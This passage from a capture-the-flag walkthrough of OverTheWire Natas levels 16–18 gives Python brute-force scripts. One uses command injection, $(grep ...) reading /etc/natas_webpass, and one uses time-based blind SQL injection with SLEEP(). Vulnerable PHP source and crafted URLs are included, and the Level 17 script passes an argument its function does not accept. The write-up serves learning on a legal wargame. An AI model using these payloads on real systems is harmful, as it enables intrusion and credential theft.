<span class="k">print</span><span class="p">(</span><span class="s">"Position </span><span class="si">%d</span><span class="s">: Trying </span><span class="si">%s</span><span class="s"> ..."</span> <span class="o">%</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">CHARS</span><span class="p">[</span><span class="n">j</span><span class="p">]))</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span> <span class="p">(</span> <span class="n">URL1</span> <span class="o">+</span> <span class="n">password</span> <span class="o">+</span> <span class="n">CHARS</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">+</span> <span class="n">URL2</span> <span class="p">),</span> <span class="n">auth</span><span class="o">=</span><span class="n">AUTH</span><span class="p">)</span>
<span class="k">if</span> <span class="s">'bananas'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
<span class="n">password</span> <span class="o">+=</span> <span class="n">CHARS</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Password so far: "</span> <span class="o">+</span> <span class="n">password</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">return</span> <span class="n">password</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="c"># authorization: login and password</span>
<span class="n">AUTH</span> <span class="o">=</span> <span class="p">(</span><span class="s">'natas16'</span><span class="p">,</span> <span class="s">'****************************'</span><span class="p">)</span>
<span class="c"># BASE64 password and 32 bytes</span>
<span class="n">CHARS</span> <span class="o">=</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span>
<span class="n">LENGTH</span> <span class="o">=</span> <span class="mi">32</span>
<span class="c"># crafted url</span>
<span class="n">URL1</span> <span class="o">=</span> <span class="s">'http://natas16.natas.labs.overthewire.org?needle=$(grep -E ^'</span>
<span class="n">URL2</span> <span class="o">=</span> <span class="s">'.* /etc/natas_webpass/natas17)banana&submit=Search'</span>
<span class="k">print</span><span class="p">(</span><span class="n">brute_force_password</span><span class="p">(</span><span class="n">LENGTH</span><span class="p">,</span> <span class="n">AUTH</span><span class="p">,</span> <span class="n">CHARS</span><span class="p">,</span> <span class="n">URL1</span><span class="p">,</span> <span class="n">URL2</span><span class="p">))</span>
</pre></div>
<p>Around 10 minutes later we get our password.</p>
<h3>Level 17: SQL Injection III</h3>
<p>This level starts with a username search similar from the 14th and 15th levels:</p>
<div class="highlight"><pre><span class="cm">/*</span>
<span class="cm">CREATE TABLE `users` (</span>
<span class="cm"> `username` varchar(64) DEFAULT NULL,</span>
<span class="cm"> `password` varchar(64) DEFAULT NULL</span>
<span class="cm">);</span>
<span class="cm">*/</span>
<span class="k">if</span><span class="p">(</span><span class="nx">array_key_exists</span><span class="p">(</span><span class="s2">"username"</span><span class="p">,</span> <span class="nv">$_REQUEST</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$link</span> <span class="o">=</span> <span class="nx">mysql_connect</span><span class="p">(</span><span class="s1">'localhost'</span><span class="p">,</span> <span class="s1">'natas17'</span><span class="p">,</span> <span class="s1">'<censored>'</span><span class="p">);</span>
<span class="nx">mysql_select_db</span><span class="p">(</span><span class="s1">'natas17'</span><span class="p">,</span> <span class="nv">$link</span><span class="p">);</span>
<span class="nv">$query</span> <span class="o">=</span> <span class="s2">"SELECT * from users where username=</span><span class="se">\"</span><span class="s2">"</span><span class="nx">.</span><span class="nv">$_REQUEST</span><span class="err">[</span><span class="s2">"username"</span><span class="cp">]</span>."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<span class="nt"><br></span>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<span class="nt"><br></span>";
} else {
//echo "This user doesn't exist.<span class="nt"><br></span>";
}
} else {
//echo "Error in query.<span class="nt"><br></span>";
}
mysql_close($link);
} else {
?>
</pre></div>
<p>The difference now is that the echo commands are commented off. We can't use the same method as before to check whether we got a right char in the password.</p>
<p>What other ways we can have binary indicator?</p>
<p>We can play with time!</p>
<h4>Stating the Attack:</h4>
<p>Luckily, MySQL has a query <a href="http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep">sleep()</a> that delays the next command for a number of seconds. We can use this as an inject command in the end of our former exploits:</p>
<div class="highlight"><pre><span class="n">AND</span> <span class="n">SUBSTRING</span><span class="p">(</span><span class="n">password</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span> <span class="n">LIKE</span> <span class="n">BINARY</span> <span class="n">AND</span> <span class="n">SLEEP</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="n">AND</span> <span class="s">"1"</span><span class="o">=</span><span class="s">"1</span>
</pre></div>
<p>Notice that since SLEEP() does not carry a <strong>"</strong> we use the <em>always true</em> clause to close the <strong>"</strong> added by the server.</p>
<p>A crafted URL should look like this:</p>
<blockquote>
<p>http://natas15.natas.labs.overthewire.org/?username=natas16%22%20AND%20SUBSTRING(password,1,1)%20LIKE%20BINARY%20%22d%22%20AND%20SLEEP(320)%20AND%20%221%22=%221</p>
</blockquote>
<h4>Crafting the Attack:</h4>
<p>The new script is:</p>
<div class="highlight"><pre><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="k">def</span> <span class="nf">brute_force_password</span><span class="p">(</span><span class="n">LENGTH</span><span class="p">,</span> <span class="n">AUTH</span><span class="p">,</span> <span class="n">CHARS</span><span class="p">,</span> <span class="n">SQL_URL1</span><span class="p">,</span> <span class="n">SQL_URL2</span><span class="p">):</span>
<span class="n">password</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">LENGTH</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">CHARS</span><span class="p">)):</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span> <span class="p">(</span> <span class="n">SQL_URL1</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="n">SQL_URL2</span> <span class="o">+</span> <span class="n">CHARS</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">+</span> <span class="n">SQL_URL3</span> <span class="p">),</span> <span class="n">auth</span><span class="o">=</span><span class="n">AUTH</span><span class="p">)</span>
<span class="n">time</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">elapsed</span><span class="o">.</span><span class="n">total_seconds</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Position </span><span class="si">%d</span><span class="s">: trying </span><span class="si">%s</span><span class="s">... Time: </span><span class="si">%.3f</span><span class="s">"</span> <span class="o">%</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">CHARS</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="n">time</span><span class="p">))</span>
<span class="c">#print r.url</span>
<span class="k">if</span> <span class="n">time</span> <span class="o">>=</span> <span class="mi">9</span><span class="p">:</span>
<span class="n">password</span> <span class="o">+=</span> <span class="n">CHARS</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Password so far: "</span> <span class="o">+</span> <span class="n">password</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">return</span> <span class="n">password</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="c"># authorization: login and password</span>
<span class="n">AUTH</span> <span class="o">=</span> <span class="p">(</span><span class="s">'natas17'</span><span class="p">,</span> <span class="s">'****************************'</span><span class="p">)</span>
<span class="c"># BASE64 password and 32 bytes</span>
<span class="n">CHARS</span> <span class="o">=</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span>
<span class="n">LENGTH</span> <span class="o">=</span> <span class="mi">32</span>
<span class="c"># crafted url</span>
<span class="n">SQL_URL1</span> <span class="o">=</span> <span class="s">'http://natas17.natas.labs.overthewire.org?username=natas18" AND SUBSTRING(password,'</span>
<span class="n">SQL_URL2</span> <span class="o">=</span> <span class="s">',1) LIKE BINARY "'</span>
<span class="n">SQL_URL3</span> <span class="o">=</span> <span class="s">'" AND SLEEP(10) AND "1"="1'</span>
<span class="k">print</span><span class="p">(</span><span class="n">brute_force_password</span><span class="p">(</span><span class="n">LENGTH</span><span class="p">,</span> <span class="n">AUTH</span><span class="p">,</span> <span class="n">CHARS</span><span class="p">,</span> <span class="n">SQL_URL1</span><span class="p">,</span> <span class="n">SQL_URL2</span><span class="p">))</span>
</pre></div>
<p>Around 15 minutes later I got the password.</p>
<h3>Level 18: Hijacking Session ID</h3>
<p>The 18th level starts with a login form, just like the levels before it. The source code is much more intricate though.</p>
<p>First, we see the declaration of the size of the id. This is important if we want to brute force the solution:</p>
<div class="highlight"><pre><span class="err">$</span><span class="n">maxid</span> <span class="o">=</span> <span class="mi">640</span><span class="p">;</span> <span class="c1">// 640 should be enough for everyone</span>
</pre></div>
<p>Then we have a function that checks whether a variable <em>$id</em> is a number with the PHP function <a href="http://php.net/manual/en/function.is-numeric.php">is_numeric</a>:</p>
<div class="highlight"><pre><span class="kd">function</span> <span class="nx">isValidID</span><span class="p">(</span><span class="nx">$id</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* {{{ */</span>
<span class="k">return</span> <span class="nx">is_numeric</span><span class="p">(</span><span class="nx">$id</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<p>Then we have this main object:</p>
<div class="highlight"><pre><span class="err">$</span><span class="nt">showform</span> <span class="o">=</span> <span class="nt">true</span><span class="o">;</span>
<span class="nt">if</span><span class="o">(</span><span class="nt">my_session_start</span><span class="o">())</span> <span class="p">{</span>
<span class="n">print_credentials</span><span class="p">();</span>
<span class="err">$</span><span class="n">showform</span> <span class="o">=</span> <span class="n">false</span><span class="p">;</span>
<span class="p">}</span> <span class="nt">else</span> <span class="p">{</span>
<span class="n">if</span><span class="p">(</span><span class="n">array_key_exists</span><span class="p">(</span><span class="s2">"username"</span><span class="o">,</span> <span class="err">$</span><span class="n">_REQUEST</span><span class="p">)</span> <span class="o">&&</span> <span class="n">array_key_exists</span><span class="p">(</span><span class="s2">"password"</span><span class="o">,</span> <span class="err">$</span><span class="n">_REQUEST</span><span class="p">))</span> <span class="err">{</span>
<span class="n">session_id</span><span class="p">(</span><span class="n">createID</span><span class="p">(</span><span class="err">$</span><span class="n">_REQUEST</span><span class="cp">[</span><span class="s2">"username"</span><span class="cp">]</span><span class="p">));</span>
<span class="n">session_start</span><span class="p">();</span>
<span class="err">$</span><span class="n">_SESSION</span><span class="cp">[</span><span class="s2">"admin"</span><span class="cp">]</span> <span class="o">=</span> <span class="n">isValidAdminLogin</span><span class="p">();</span>
<span class="n">debug</span><span class="p">(</span><span class="s2">"New session started"</span><span class="p">);</span>
<span class="err">$</span><span class="n">showform</span> <span class="o">=</span> <span class="n">false</span><span class="p">;</span>
<span class="n">print_credentials</span><span class="p">();</span>
<span class="p">}</span>
<span class="err">}</span>
<span class="nt">if</span><span class="o">(</span><span class="err">$</span><span class="nt">showform</span><span class="o">)</span> <span class="p">{</span>
<span class="o">?></span>